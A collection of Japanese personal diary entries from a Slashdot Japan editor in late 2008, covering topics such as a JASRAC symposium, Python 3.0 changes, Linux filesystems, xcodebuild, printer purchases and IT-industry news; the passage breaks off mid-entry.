12月9日に「JASRACシンポジウム2008」が行われた。このイベントはドワンゴ代表取締役会長の川上量生氏やエイベックス・グループ・ホールディングス取締役の岸博幸氏、ホリプロ代表取締役会長兼社長CEOの堀義貴氏、JASRAC常務理事の菅原瑞夫氏など、コンテンツ業界に関わる「重役」が集まり、コンテンツ業界の今後について議論を交わすものなのだが、ここで行われた参加者の発言が興味深い。

CNET Japan に掲載されているリポート記事によると、参加者の発言は

  • コンテンツの流通促進を促すという政府姿勢は間違っている
  • 無料のコンテンツにしか接しない人が増えているのは遺憾だ
  • 「日本版フェアユース」や「ネット法」は決してうまくいかない
  • 「デジタルコンテンツの流通」は公益ではない

など、YouTubeやニコニコ動画、そして現在のWebでの無料コンテンツ配信サービスなどを完全に否定する発言ばかり。コンテンツ制作会社などが集まるということで、もう少し「コンテンツ配信のネットの有効利用」といった話がされるのではと思っていたのだが、正直期待はずれだった。結局、大手コンテンツホルダーは現状の「厚利多売」のコンテンツ流通モデルを維持したい、というだけなのかと思ってしまう。消費者の趣味嗜好が多様化し、コンテンツも有料無料を問わず増えた現在、「厚利多売」はこれからは続かないと思うのだが……。

ちなみに、弁理士の 栗原潔 氏は Twitter で「JASRACはまさにネット権(音楽版)なのにJASRACのイベントでネット権を批判する皮肉」などと感想を述べている。

Permalink | コメントを読む | hylomの日記

Python 3.0リリース、仕様変更多数

12月3日、 Python 3.0 がリリースされました。Python 3.0はPython 3000とも呼ばれており、Python 2.x系から大幅な仕様変更が加えられています。

主な(そして注意すべき)変更点は「 What’s New In Python 3.0 」にまとめられていますが、「Python 2.xとは互換性が無い」と言われるように、かなりの仕様変更が行われています。主立ったものをまとめると、

  • print文が関数となり、色々と仕様も変更された。もう「print “ほげほげ”,」という記法は使えない
  • 「dict.keys()」や「dict.items()」、「dict.values()」といったDictionaryを扱ういくつかの関数の動作が変更され、リストの代わりにViewやIteratorを返すようになった
  • 比較演算子(<、>、<=、>=)の仕様変更。明らかに不自然な比較(たとえば「1 < ”」「len <= len」など)はエラーになるようになった。また、cmp()(と__cmp__())関数は廃止になった
  • long型がint型にリネームされた。そして従来のint型は廃止になった
  • int同士の割り算がfloatを返すようになった(たとえば1/2の結果は0.5)。整数を返したい場合、「//」演算子を使う
  • 文字列とバイナリ列が区別されるようになり、文字列はstr型を、バイナリ列はbytes型を使うようになった。str型はUnicodeで文字列が格納される。それにともない、従来「u”ほげほげ”」などと表現していたUnicode文字列は「”ほげほげ”」と表記できるようになった。さらに、「\u」「\U」は通常の文字列(そのまま\u、\Uという文字列)として扱われるようになった。
  • nonlocalステートメント、「(a, b, *rest) = <シーケンス>」、「0o720」、「0b1010」など、新しい文法が導入された
  • gopherlibやmd5など、いくつかの標準モジュールが廃止された(md5はhashlibにリプレスされた)
  • いくつかの標準モジュールがリネームされた。たとえば「SocketServer」は「socketserver」に、「repr」は「reprlib」に、など
  • 標準モジュールで関連のあるパッケージがまとめられた。たとえばhttplibやBaseHTTPServer、CGIHTTPServer、SimpleHTTPServer、Cookie、cookielibはhttpというパッケージにまとめられている

などとなりますが、そのほか文字列周りや文法には多数の仕様変更が加えられています。詳細は自身でご確認ください。

今回のアップデートでは前バージョンとの互換性を切り捨てているため、不安に思われる方も多いとは思いますが、この仕様変更により、言語仕様やライブラリの一貫性や分かりやすさが向上していると感じます。これから新規にPython開発をされるかたは、是非Python 3.0を使ってください。

(といってもレンタルサーバなどではなかなか入れ替えられないんだけどね……)。

Permalink | コメントを読む | hylomの日記

XPをSP3にしたらトラブった件について

自宅のWindowsマシンを久しぶりに起動したら、アップデートが色々とたまっていたので一気に適用。というかSP3すら適用していなかった。これ起動したのいつぶりだっけ? とか思いながら全パッチを適用したあたりで、妙に動作が重いことに気付く。

とりあえずタスクマネージャ開いたら、2つのコア両方のCPU使用量が常に80%越えの状態に。しかもCPUを食っているプロセスはない。

ということでとりあえずProcess Explorerで見たら、Hardware Interruptが常にCPUを80%とか食っているんですが……。

CPUはAthlon 64 X2なのでこれでもまともに動作してくれているのだけど、何かヤバイ。何が悪いんだ? てかWindowsでデバイスドライバの調子が悪い時ってどうやって原因究明するんだ?

そして、確実にハマリ道なので、とりあえず放置しました(汗)。最悪アップグレードディスクだけ入手して放置していたVistaにするかなぁ。でもVistaにするにはメモリが足りない気も……(DDR1なのでメモリ高いし)

Permalink | コメントを読む | hylomの日記

「答えはCMのあと!」ではないが

「ダチョウの卵を使った抗体製造が予想外の好結果」のコメント で、中途半端なところで「つづく…」を入れるのはあまり好きではない、とのご意見をいただきました。

別にPV稼ぎとかを意図しているわけではなく、個人的には、タレコミがだいたい5パラグラフ以上になったら3もしくは4パラグラフの終わりあたりで「つづく…」を入れる(もちろん全体の分量やつながりも加味する)のが適当だと思っています。

まぁ確かに微妙なところなんですが、/.はコメントが面白いサイトだと思っているのでついでにコメントも見てくださいな。

Permalink | コメントを読む | hylomの日記

HiromitsuTakagi氏、okky氏に場外で喧嘩を売る

12月1日のHiromitsuTakagiのブックマーク 」より。

Widget と Gadget – okky の日記 slashdot.jp:okky
        * コンピュータ・IT

        * 5 users

        * HiromitsuTakagi セキュリティ, phishing, SSL, 半可通, bad もの凄い勢いで的外れなことを自信満々に書き散らしてるけど、「fjの教祖様」って誰だっけ? まあ、誰も読まなければいいわけだけど。 2008/12/01

HiromitsuTakagiが 某高木先生 かどうかは分かりませんが、とりあえず一言。

ぜひスラドのコメントで発言してください

コメントシステムがあって当該の記事にもコメント付けられるんだから……と思ったらログインユーザーだけの議論だった。残念。

# これを機にスラドにもHiromitsuTakagiアカウントをぜひ作ってみてはいかがでしょうか、とか言ってみる

Permalink | コメントを読む | hylomの日記

超訳:Linuxで利用できるファイルシステムの現在と未来

超(テキトー翻)訳:Linuxで利用できるファイルシステムの現在と未来。

本家/. で、 Linuxのファイルの過去・現在・未来についてまとめた記事 が紹介されている。この記事では、Linuxでサポートされているファイルシステムを、「Classic File Systems」「Nextgen File Systems」の2つに分けて紹介している。ざっと概要をまとめると、下記のようになる。

Classic File Systems:

  • XFS:巨大なファイルや巨大なファイルシステムのサポートは優れていると言われている。信頼性については考慮されていない訳ではなく、パフォーマンスも悪くないがCPU使用率は比較的高い。不意の電源断やマシンクラッシュ時のデータ消失についてはほかのファイルシステムと同程度。
  • ReiserFS(Reiser3):最初にジャーナリング機能を備えたLinux向けファイルシステムの1つ。Kernel 2.6向けとしては非常に優れており、小さいファイルの場合パフォーマンスも良い。ただし、スケーラビリティには難があると言われている。Reiser4ではコードの大幅なリライトが行われるはずだったが、将来の見通しは不明(SUSE Linuxには若干の開発者がまだいるようだが)
  • (IBMの)JFS:スケーラビリティや障害からの復旧などに優れている。エクステント機能もサポートしているが、使われていない。開発は収束気味
  • ext3:ext2にジャーナル機能を追加したもの。ext2からの移行が容易。現在、もっとも安定しており、多数のLinuxディストリビューションでサポートされている。

Nextgen File Systems:

  • Reiser4:トランザクションや遅延配置、暗号化/圧縮プラグイン機構など、すばらしい機能が導入されるはずだったファイルシステム。開発者のHans Reiser氏とほかの開発者とのトラブルなどがあったものの、最終的にReiser4はLinuxのカーネルツリーに含まれている。しかし、Hans Reiser氏が開発を続けられる状態では無くなっているため、その将来には疑問符が付く。
  • ext4:ext3と前方互換性があるファイルシステム。限られた条件下ではext3との後方互換性もある。ただし、そのためにext3の設計を引きずっている点が問題と言えば問題。
  • Btrfs:ZFS対抗。Oracleによって開発が始められ、ext4の後継となるかもしれない。
  • Tux3:現在開発中。FUSEにより、まずは動作するプロトタイプが開発されている。伝統的なジャーナリングシステムやバージョン管理、スナップショット機能などが検討されている

—-
Btrfsについては全然知らなかった。Tux3はちょっと面白そうだが、実用になるのはまだだいぶ先だろう。ということで、やはり無難にExt3をしばらくは使い続けることになりそう。Reiser3も良かったんだけどなぁ……

Permalink | コメントを読む | hylomの日記

xcodebuild

Mac OS Xの開発環境であるXcodeで開発をしていると、依存関係やら何やらの管理はXcodeにお任せになってしまう(ことが多い)。そうすると、コマンドラインでのコンパイルができないじゃん!となるのだが、さすがApple、ちゃんとコマンドラインでXcodeのプロジェクトをコンパイルする機構を用意してくれている。

「xcodebuild」は、Xcodeで作成されたプロジェクトをコンパイルするコマンドラインツールだ。用法は下記のとおり。

     xcodebuild [-project projectname] [-activetarget] [-alltargets]
                [-target targetname] [-parallelizeTargets]

                [-activeconfiguration] [-configuration configurationname]

                [buildaction ...] [setting=value ...] [-default=value ...]

     xcodebuild -version

     xcodebuild -list

     xcodebuild -help

「xcodebuild -list」で、選択できるターゲット、コンパイル設定が一覧表示できる。SourceForge.JPにはMac OS X環境のコンパイルファームも用意されているので、Subversionリポジトリからコンパイルファームにチェックアウト→xcodebuildでビルド、てなこともできる。

以上、個人的メモでした。

Permalink | コメントを読む | hylomの日記

Cygwinの遅さはどうにかして解消できないものか

Cygwin上でコンパイルとかすると、気になるのがその遅さ。CygwinはFile I/Oとコンソール画面出力が遅いらしいが、コンパイルとかするとそれが顕著に出てくる。

Linux上でCygwinを使ったWin32バイナリって作れないのだろうかと思ってググってみたのだが、Cygwin上にクロスコンパイル環境を作る話ばかりが出てきた。

何かうまい手はないもんかな。Cygwinは嫌いなんだが、そのためにわざわざライブラリ関連をCygwinを使わないように1からビルドするなんてやってられないのだが……。

Permalink | コメントを読む | hylomの日記

ガンダムVSガンダム

そんなにガンダム好きでもないのに、何となくPSPのガンダムVSガンダムを購入。ゲーセンでもこのシリーズは全くやったことなかったんだけど、最近ゲーム熱がアップしていたので買ってみた。

とりあえず平日なので1時間くらいしかやっていないのだが、これシューティング系ではなく格闘系ゲームだったのね。マクロスAFのように「蝶のように舞い蜂のように撃つ」をちょっと期待していたのに。まぁこれはこれで楽しいのだが、先日やっていたらしいゲーセン版の大会では結局上位ユーザーは皆同じキャラを使っていたそうでちとつまらん。

Permalink | コメントを読む | hylomの日記

HandBrakeのコンパイル

ちょいと私用でHandBrakeという動画エンコードツールをいじっている。というかビルドしている。


そして、ドキュメントをちょっと読んで「VC#でプロジェクトファイル開いてビルドするだけじゃんwww 楽勝www」とか思ったら、それでビルドできるのはGUIのカワだけだった。



本体(コマンドラインツールのHandBrakeCLI.exe)は別途コンパイルだと。しかも「Compiling HandBrakeCLI.exe is not for the faint of heart. Prior knowledge of compiling software under linux/unix is a requirement.」(HandBrakeCLI.exeのコンパイルは気の弱い人には向いていない。linux/unixでのソフトウェアのコンパイルの知識が必要だ)だって。



…知識はあるのだが、Windows環境でcygwin使ってビルドって面倒くさいんだよ! なんかcygwin上でのコンパイルって遅いし……。



ということでいきなりハマリ道に突入しました。

Permalink | コメントを読む | hylomの日記


Slashdot Extension 0.1dev26リリース

Firefox用スラッシュドット拡張「Slashdot Extension」がそこそこ形になってきたので0.1dev26のリリースを プロジェクトニュースにしてみた。


相変わらずタレコミ機能しかないのですが、外部エディタでタレコミ文を編集できるようになっています。ライブプレビューとかやりたいんだけどちょっと面倒臭いので後回し。ちゃんと自動更新とか、言語切り替えとか色々できるようになってます。



タレコミストの方はぜひご利用してみてはいかがでしょうか。



# まぁ検索機能とか日記機能とかないと一般ユーザーが使う機会はあまりないかとは思うが……。


Permalink | コメントを読む | hylomの日記


ツクモ電機、NEC関連会社に商品在庫を借金のカタとして持って行かれる

AKIBA PC Hotlineによると、ツクモ電機の店舗営業が中断しているらしい。オンラインショッピングサイトも同様。

 

文書によると、同社に商品在庫を担保として融資を行っていたNECリースが21日(金)付けで担保権を実行したため、担保の回収作業で営業中断を余儀なくされたという。なお、九十九電機は東京地裁に対して担保権実行手続き中止の申し立てを行っているとしている。


ついにツクモ終了のお知らせか……

Permalink | コメントを読む | hylomの日記

ネットの雰囲気を感じていれば(以下略

今回の毎日新聞誤報事件は、Wikipediaの時間表記がデフォルトではUTC表記だということを知らなかったのがが原因、とみられている。記者も「日本時間だと思っていた」と話しているという。


Wikipediaではログインユーザーが、名乗って犯行予告を書き込むことは珍しい。そうとは思わなかったらしい。Wikipediaに書き込まれた内容は確かに不謹慎であり、問題はないとはいえないが、ネットの掲示板には犯行予告が書き込まれると思い込んでいたことに問題はなかったか。JSTとUTCを間違えたとは言いながら、Wikipediaの空気を感じていれば、事前に違和感を感じたはずだ。



注目を浴びている事件で、新聞紙面にも掲載されるのだから、ニュース内容の確認には慎重であってほしかった。



(※もちろんネタです。 元ネタ

Permalink | コメントを読む | hylomの日記


テクノバーン、よりによってStallmanの発言を誤報

「嘘・大げさ・まぎらわしい」でおなじみのテクノバーンがまたやらかしてるよ。しかも今度はStallman氏の発言がターゲット。


Firefoxは真のフリーウェアとは言えない、GNUのストールマン氏 – Technobahn より:

ストールマン氏によると、「Firefox」の場合ソースコードはフリーに配布されているが、バイナリープログラムはモジラ財団によってリリースされており、フリーではない。これは、元々、「Talkback」などモジラ財団自身に対してもソースが開示されていないフリーではないモジュールを組み込んでいるためで、そのために配布に当たっては厳密なエンドユーザーライセンス契約(EULA)を取り交わす必要性が生じている。この問題が解消されれば「Firefox」のバイナリープログラムもフリーソフトウェアと呼ぶことができるようになるかもしれないと思うと述べた。


原文の訳は下記( [Q&A: Richard Stallman, founder of the GNU Project and the Free Software Foundation > News > PC Authority][2] より):
Firefoxはちょっと特別な例で、ソースコードはフリーなのだが、Mozilla Foundationからリリースされているバイナリはフリーではなかった。その理由は2つ。まず、そのバイナリには1つだけnon-freeでソースが公開されていないモジュール「Talkback」が含まれていること(TalkbackはMozilla Foundationにもソースが公開されていない)。そしてもう1つが、EULA(end-user licence agreement)の問題【訳注:FirefoxのEULAはfreeではないことが、ソースコードのライセンスと矛盾していた。これはMozilla Foundationでも問題となり、改善されることが決まっている( 関連の/.J記事 )】。


私はこの2つの問題は両方とも改善されていると考えており、現在配布されているFirefoxのバイナリはフリーソフトウェアであると思う【御大はFirefoxを使っていないらしいので確認していないのだと思われる】。

英語の原文は下記。
Firefox is a strange case, since initially the sources were free software but the binaries released by the Mozilla Foundation were not free. They were non-free for two reasons: they included one non-free module, Talkback, for which sources were not available (even to the Mozilla Foundation); and because they carried a restrictive EULA [end-user licence agreement].


I think these two problems have both been corrected, so maybe the distributed Firefox binaries are free software today.

うん、大分ニュアンス違うよね……。正しい翻訳をするにはバックグラウンドを知っていないと難しい、という好例なのではないだろうか(あまり人のことは言えないが)。

Permalink | コメントを読む | hylomの日記


スラッシュドット用Firefox拡張を(こっそりと)制作中

ブラウザの専用ツールバーがあるとWeb 2.0なサイトっぽいよね!(謎)ということで、こっそりとFirefoxのスラッシュドット拡張を作っていたりする。


Wikiページ



とりあえず、タレコミしたいサイトで右クリック(もしくはツールバーボタンからタレコミメニューをクリック)するとタレコミウィンドウが開いてタレコめるという機能を作ったのだが、それ以上の発展が見込めないぞ。あとは日記を書く、ブックマーク機能、検索機能くらい?



スラッシュドットに新着記事が出ると通知されるとか絶対いらないだろうしなぁ。



ということで、絶賛人柱&機能要望お待ちしています。


Permalink | コメントを読む | hylomの日記


キャプチャーカード死亡?

今週末も風邪で体調不良気味(平均睡眠時間は14時間を超えているのではないだろうか)だったのでほとんどまったり自宅療養。


で、一昨年前に二束三文で手に入れたPlextorの TVキャプチャ をWindowsで初めて動かしてみた(いままでは場当たり的なパッチを使って無理矢理Linuxで動かしていた)ところ、まともに動きませんー?(^o^)/。しかもメディアセンターを起動するとBSODになるという最悪な状況。付属の視聴ソフトでは視聴できたりできなかったり、RGBのバランスがぐちゃぐちゃになったり、録画に失敗したりとさんざんですよ。



ていうか、ドライバをインストールしようとしたら「ハードウェアが接続されています。ドライバインストール前にハードウェアを取り外してください」ってなんだよ!USB機器じゃないんだから一回ケース開けなきゃいけないじゃん!



二束三文で手に入れただけあって、Linuxで動かすのが激しく大変だったのはまだいいけど、Windows XPでも大変だとは思わなかった。そろそろ年末に向けて、中断していたVHSテープデジタル化を再開しようと思っていた結果がこれだよ!



結局これでしばらくまた自宅のWindows機は眠ったままになりそうです。Athlon 64 X2+500GB HDDという、そこそこな高スペック機なのになぁ。

Permalink | コメントを読む | hylomの日記


バイナリデー企画

バイナリデー企画も無事(?)終了いたしました。ご協力いただいた皆様、ありがとうございました。


ITmediaやマイコミジャーナルなどでも取り上げていただいたのですが、反響がちょっと予想していたのよりも少なかったのが残念なところ。紹介ストーリーの書き方などは再考が必要ですね。もう少し盛り上がると良かったのですが……。



あと、トップページロゴ変更&クリックで特設ページへ移動、というのは/.Jで初めての試みだったのですが、公開当初にうまくアクセスできないことがあったのはテンプレートの書き換えタイミング等の問題だったようです。



記念日にあわせてロゴを変える、というのはGoogleが有名ですが、/.Jでもちょくちょくやっていく予定です。なにか面白いアイデアがあればぜひお寄せください。



# 個人的には、竹内先生の「プログラムと老子」の話がものすごく興味深かったです。

Permalink | コメントを読む | hylomの日記


ロームグループ、1000人の人員削減

ロームがグループ計1000人を削減へ、OKIから買収の半導体子会社も対象


最近半導体メーカーでの人員削減がブーム(?)だが、日本でも大型人員削減が。

そのうち約600人は、2008年10月に買収したOKIの半導体子会社であるOKIセミコンダクタの従業員を対象とする。


OKIセミコンダクタ従業員、かわいそうに・・・

Permalink | コメントを読む | hylomの日記


寒い&風邪

金曜になんか意識がもうろうとしているなぁ、と思いながら仕事をしていたら、案の定土曜にダウン。結局日曜まで寝て過ごすことに。


体が重いとかめまいとかならまだ何かして過ごせるのだが、頭痛で完全に頭が回らない状態だったので土曜は本当に一日寝て過ごし、日曜は積み上げられていた雑誌と本の消化に。



しかし、最近体調不良になるのが多いのだが、何がいけないのだろうか。思いつくだけでも


  • 昼間いる場所が気圧の低い13Fになった

  • 自分の机が窓際でさらにエアコンの近くなので寒い

  • (比較的)規則正しい生活をするようになった

  • 年を食って体が弱くなった

  • 幹線道路を通って通勤するようになって悪い空気を吸いまくり





    とか、いろいろありまくりなのだが、やっぱり寒いのが一番よろしくない気が。真っ昼間の現在でも、キーボード打っている手が何か冷えているもんなぁ。



    とりあえず、こっそり暖房器具を用意してみるか。

Permalink | コメントを読む | hylomの日記


筑紫哲也氏、逝去

朝日新聞によると、朝日新聞元編集委員の筑紫哲也氏が7日、肺がんのため死去したそうだ。享年は73歳。


筑紫氏はTVのニュース番組「筑紫哲也NEWS23」のキャスターとしても有名で、番組内の「多事争論」コーナーでの厳しい評論も話題になっていた。



筑紫氏は2007年5月にガンの治療のため番組を降板、治療に専念していた。



かつて筑紫氏は「インターネットは便所の落書き」と言った趣旨の発言をして物議を醸したが、筑紫氏は現在のインターネットの隆盛をどのように見ていたのだろうか。



何はともあれ、まずはお悔やみを申し上げたい。


Permalink | コメントを読む | hylomの日記


海外IT企業、次々とレイオフを発表

海外のIT企業が次々とレイオフを発表している。たとえば有名どころだと、

  • AMD

  • Electronic Arts

  • Symantec

  • 米Yahoo!

  • HP

  • Nokia

  • Xerox

  • eBay



    などだ。HPは2万人以上、Yahoo!は1000人規模、Xeroxは3000人規模と非常に大規模なレイオフだ。



    レイオフに関するまとめ記事としては


  • [IT企業のレイオフ状況と、「Web2.0型無料経済は消滅」予測 | WIRED VISION][1] 
    

Permalink | コメントを読む | hylomの日記


慶應大の学部生の卒論がNatureに掲載

まったくアンテナに引っかかっていなかったのだが、 慶應大学の学部生の卒論がNatureに掲載されたらしい。内容は磁気でもゼーベック効果と同様の効果が発生させられるというもの。磁石の両端に温度差を付けることで、磁気の流れを発生させられたそうだ。


詳細PDF もある。



しかし、学部の卒論でNatureか……。うらやましいというかなんというか。


Permalink | コメントを読む | hylomの日記


第十回 国際NetHackトーナメントが開催中

/.本家に 記事が挙っていたのだが、「The 10th annual Nethack Tournament」なるものが開催されているらしい。


自分はどうもRogue-like gamesが苦手で、比較的取っつきやすいと思われるトルネコの不思議なダンジョンも十数階でいつもやられていた。NetHackも同じ感じだった。ということでトーナメントに出る気は全くないのですが、NetHack猛者の方がいらしたらぜひどうぞ、ということで。


Permalink | コメントを読む | hylomの日記


パナソニック、三洋電機の買収交渉中

日経新聞などによると、パナソニックが三洋電機を買収する方針を固め、年内の合意を目指して今月中にも三洋電機の主要株主と交渉に入るそうだ。


かつては「SANYO」と言えば白物家電だったが、パナソニックの目的は電池事業というところが三洋電機の落ち目っぷりを示しているようでちょっと悲しい。なお、この買収が実現すれば国内の電機大手同士で初のM&Aとなるそうだ。



「サンヨー」のブランドを付けて中国ハイアール製家電を国内で売ったりしたあたりからSANYOブランドは価値が下がりまくっている気がするので、サンヨーブランドがなくなってももう悲しむ人は少ない気がする。おとなしくパナソニックに吸収されるのが三洋電機(の従業員など)にとっては幸せかもしれない。


Permalink | コメントを読む | hylomの日記


著作権侵害コンテンツのダウンロードに対する意識

最近友人が「前シーズンにやってたアニメをいまさら見始めた」という話をしていたのだが、まだDVDも初めの方しか発売されていないし、どうやって入手したの、と何気なく聞いたら「Shareで落とした」と、ためらいなく言われました……。


その友人(29)はパソコンとかネットにそんなに詳しいわけでもないのだが、そういう人でもさくっとP2Pソフトでためらいなくコンテンツがダウンロードされている事態を見ると、ダウンロード違法化はそこそこ効果があるんじゃないか、とか思ってしまう。



あとは「違法化は音楽と動画だけだからゲームはまだOK」とか「ニコニコ動画もだめじゃん」などの意見も聞かれたりするように、まだよく分かっていない人も多いようだが、そこらへんの周知はどうするのだろうか。個人的にはヘビーにダウンロードするユーザー=テレビを見ない、新聞雑誌を買わないユーザーだと思っているのだが、そういうユーザーに対してはどのように告知をすればよいのだろうか。やっぱりYahoo!かGoogleか。でもそんなお役所がYahoo!とかGoogleに告知をするとは思えないし。



あとは違法化が試行されたときにどの程度影響があったかもちゃんと調べて欲しいなぁ。どっちにしろ、ゲームをダウンロードして「これは違法じゃねぇw」と自慢する人はさっさと居なくなってほしいところだわ。


Permalink | コメントを読む | hylomの日記


mhatta氏は「ITコラムニスト」だったらしい

/.Jでもおなじみ、mhattaこと八田真行氏が産経新聞の記事に。ネタはGoogleストリートビュー( ITmediaに転載された「Googleストリートビューに波紋広がる」記事)。

ITコラムニスト、八田真行さん(29)の話「現時点でのグーグル社のやり方に問題がないとは言えないが、明確なデメリットも見えにくい。…

mhattaさんはITコラムニストだったのか。てっきりフリーソフトウェア活動家かと思っていたよ……。てか、コラムといってもsf.jp位にしか記事を書いて居ないような。


Permalink | コメントを読む | hylomの日記

神奈川県立神田高校

神奈川県立神田高校で、入試時に茶髪・眉そりチェックして不合格という問題が起きたらしい。


自分の実家はその近くで、高校入試時は実際に神田高校がある学区だった&大学時代は学区内の塾でバイトしていたので実情はよく分かる。


  • 「神田高校は名前が書ければ入学できる」(実際にそんなことはないだろうが)

  • 「神田高校に行くなら高校に行かない方がマシ」(保護者の意見。極端な意見だろうが)

  • 「そんな成績だと神田高校にしか行けないぞ」(教師の脅し)

  • 「神田高校にだけは行きたくないから勉強する」(生徒の意見)



    というような話が聞かれるくらいだ。実際、入試は毎回定員割れギリギリだったという話も聞く。神田高校がある平塚は湘南地区の外れなので、いわゆるヤンキーや暴走族も多く、暴走族がらみのトラブルも実際多い。だから、

県教委の説明では、同校には指導上の問題を抱える生徒が多く、教員の負担が大きかったという。山本正人教育長は「学校をよくしたいとの思いは否定しないが、ルールにのっとったやり方にするべきだった」と話した。

というのはよく分かるし、納得できる。神奈川の県立高校の入試は内申点(=通知表の成績)重視なので、態度が悪い生徒は自ずと内申点が低くなりテストの結果が良くても評価は下がるのだが、神田高校は神奈川でも5本の指に入る低ランク高校なので内申点による足切りもほとんど効果がない。

ただ、一般論としては「このような生徒でも高校進学を希望するなら入学させるべきだ」という話はあるわけで、神田高校はこの「受け皿」からなんとか脱出しようとしたがつぶされた、ということなのだろうか。

Permalink | コメントを読む | hylomの日記


Amazonの謎の「プレゼント祭り」割引

AmazonでCDバーゲンセールをやっていたので6枚ほど注文してみたのだが、明細を見ると「プレゼント祭り」という名目で謎の割引がされていた。


詳細は代金が6,129円、消費税が306円、Amazon Pointsで-47円、プレゼント祭で-444円。バーゲンでタダでさえ安いのに、さらに7%も引かれている。Amazon Pointとは別に集計されているので、Amazon Pointではない。



なんじゃこりゃ。ググっても明確な答えは出てこないし、とりあえず安く買えてラッキーくらいに思っておけば良いのだろうか。もしくはAmazonから届いたDM経由でアクセスしたから?


Permalink | コメントを読む | hylomの日記


プリンタ買った

無線LAN搭載の PX-201を買おうと新宿のビックカメラに行って、プリンタ売り場を徘徊していたのだが、店員さん(たぶんメーカーから派遣された方も多いのだろうが)がめちゃくちゃ多い。やっぱり新製品が出たばかりで販促に力を入れているのだろうか。


先のPX-201を買おうと決めたのは無線LAN搭載で1万円台前半、という価格が大きいのだが、PX-201を見ていたらやってきた店員さんに「無線LAN搭載ならこれもありますよ」とLexmarkの Z1420 をすすめられた。無線LAN内蔵なのに1万円以下という価格設定には激しく惹かれるものの、10年前に初めて買ったLexmarkのプリンタがすぐぶっ壊れたとか、2年前にタダ同然でもらったHPのプリンタがすぐ調子悪くなったとかで個人的には海外メーカーのプリンタの印象は最悪。ということでスルーしてやっぱりPX-201を買いました。



でまぁ買ってきてセットアップをしたわけですが、無線LANの設定で激しくハマる。結果的にはOS Xのファイアウォールが邪魔をしてプリンタを発見できなかったという話だったんだけど、マニュアルにはその旨が一切なかったり。Windows向けにはWindowsのファイアウォールで通信をブロックする旨が出る話とか別途セキュリティソフトを入れている場合は設定変更しろとか書いてあったんだけどMac向けには一切書いていなかったのでここで引っかかるとは思いませんでした……。



しかしノートPCユーザー(かつ複数台のPCを所有)するユーザーにとって、無線LANで接続できるのは便利。電源さえ取れればクローゼットに突っ込んでおいても大丈夫というメリットも。

Permalink | コメントを読む | hylomの日記


そうだ、プリンタを買おう

タダ同然で入手したHPのプリンタがひどい感じに(発色がぐじゃぐじゃな感じに)なってきたので、今年こそ買い換えようと検討。


とりあえず、



・複合機はデカイので小さめの単機能プリンタ

・LAN接続可能、できれば無線LAN

・それでいて安い



という条件で 最上位はタッチパネル+ADF搭載:エプソン、小型化とデザインに注力した複合機/プリンタ08年モデル (3/3) – ITmedia +D PC USER とか 最上位はグレーインクを装備:キヤノン、新インクで発色を向上させた複合機/プリンタ08年モデル (3/3) – ITmedia +D PC USER を見たところ、エプソンのPX-201がこの条件をほぼ満たしているのでこいつに決定。価格.comだと最安値で1万3000円前後っぽいので、店頭でも1万5000円+10%ポイント位で買えるでしょう。無線LAN付きでこの値段って、かなり頑張っているな>エプソン、という印象。



ていうか複合機って売れてるのですかね。自分としてはタダでさえPC&周辺機器が多いのに、たまにしか使わない機器にデカいスペースを割くなんてとんでもない感じなのだが……。コピーとかスキャナとか全然使わないし。


Permalink | コメントを読む | hylomの日記


Symantec(てかNorton)って殿様商売だなぁ

またもや セキュリティホール memoで知ったのだが、Norton Internet Securtyは自動更新の期間内なら対策エンジンも新版に更新可能なのだが、自動的には更新してくれないらしい。ソースは「 パソコントラブル出張修理・サポート日記: 自動更新の落とし穴。(ワンクリウェアの恐怖 またまたまた)」。


一般人は分からないよなぁ……。ますますSymantec嫌いに。相変わらずウイルス対策ソフトは入れていないけど、とりあえずNortonはおすすめしないことにしよう。


Permalink | コメントを読む | hylomの日記


1曲10セントで音楽をストリーミング再生する権利を購入できるサービス「Lala」

新しいタイプの音楽配信サービス Lalaが、米国でサービスを開始した。


Lalaは有料の音楽配信サービスで、音楽をダウンロードして試聴するのではなく、データはすべてLalaのサーバー側に保存され、ストリーミングで再生するのが特徴。手元に音楽データは残らないが、その分価格は1曲10セントと安い。購入前に無料での視聴も可能で、視聴の際は曲の最初から最後まで聞けるそうだ。



購入した楽曲をローカルにダウンロードすることも可能だが、その際は1曲あたり89セントもしくは99セントがかかるそうだ(先に10セントを支払っていた場合、追加の79セントもしくは89セントのみを払えばOKらしい)。



また、自分でCDからリッピングするなどして、すでにローカルに保存されている楽曲については自動的にオンラインライブラリに追加され、ストリーミング再生が可能になるそうだ。



すでにEMIやSony BMG、Universal Music、Warnerといったメジャーレーベルが楽曲提供を行っているそうで、曲の品揃えも良さそう。ストリーミングということで、ネット環境がないと使えないのが欠点ではあるが、ある程度高速(かつ低価格)な無線通信環境がそこら中に張り巡らされ、かつポータブルで小型の対応再生機器が出てくる、といった環境になればこの方式が音楽配信の決定版になりそうな予感。



ちなみに、現時点では米国でのみのサービスになるそうです。

Permalink | コメントを読む | hylomの日記


Firefox拡張のライセンス

某Firefox拡張のライセンスに、「デコンパイルやリバースエンジニアリング、ディスアセンブル、変更、貸し出し、リース、ローン、再配布、派生物の作成を禁ずる」という条項があったんだけど、該当のxpiファイル(や中に含まれているjarファイル)をunzipするのはこれに該当するのだろうか。


可能性としてはリバースエンジニアリングに該当するのかなぁ……。まぁ言いたいことは分かるのだが。

Permalink | コメントを読む | hylomの日記


バルマーさん大人気?

昨日に公開された『 Steve Ballmer、「Windows 7を待っても良いよ。でも俺なら絶対Vistaにするね」』というストーリー、久しぶりに300コメントに届きそうな勢い。


アクセス数もここしばらくで1、2を争う勢いなんだけど、自分としてはこんなに盛り上がるとは思いませんでした……。



やっぱりWindowsネタは受けるのだろうか。それとも、やっぱりバルマーさん人気なのだろうか。


Permalink | コメントを読む | hylomの日記


VLC 0.9.4が出ている

VLC 0.9.2、0.9.3と頻繁にアップデートされるVLCだが、今度は0.9.4が出ている( VideoLANプロジェクトのWebサイト)。なお、Mac OS XのPPC版バイナリは当初あやまって0.9.3のものを配布していたそうなので、公開後速攻でダウンロードした人は要確認。


OS XのQuick Lookと連動できるとよいなぁ、とか思ったり。VLCKitが出たから、意外に簡単にできるのかもしれないがどうなんだろう。


Permalink | コメントを読む | hylomの日記


愛国心と右翼を混同するなと

ネット右翼と2ちゃんねるの相関というタレコミがあったのだが、この論文は恣意的に「2ちゃんねらー」=「右翼」としているような気がしてならない。


論文内では

  1. 韓国および中国の両方に対して、「あまり」「まったく」親しみを感じないと回答

  • 下記5項目すべてに「賛成」「やや賛成」と回答

  • 「首相や大臣の靖国神社への公式参拝」


  • 「憲法9条1項(戦争放棄)の改正」

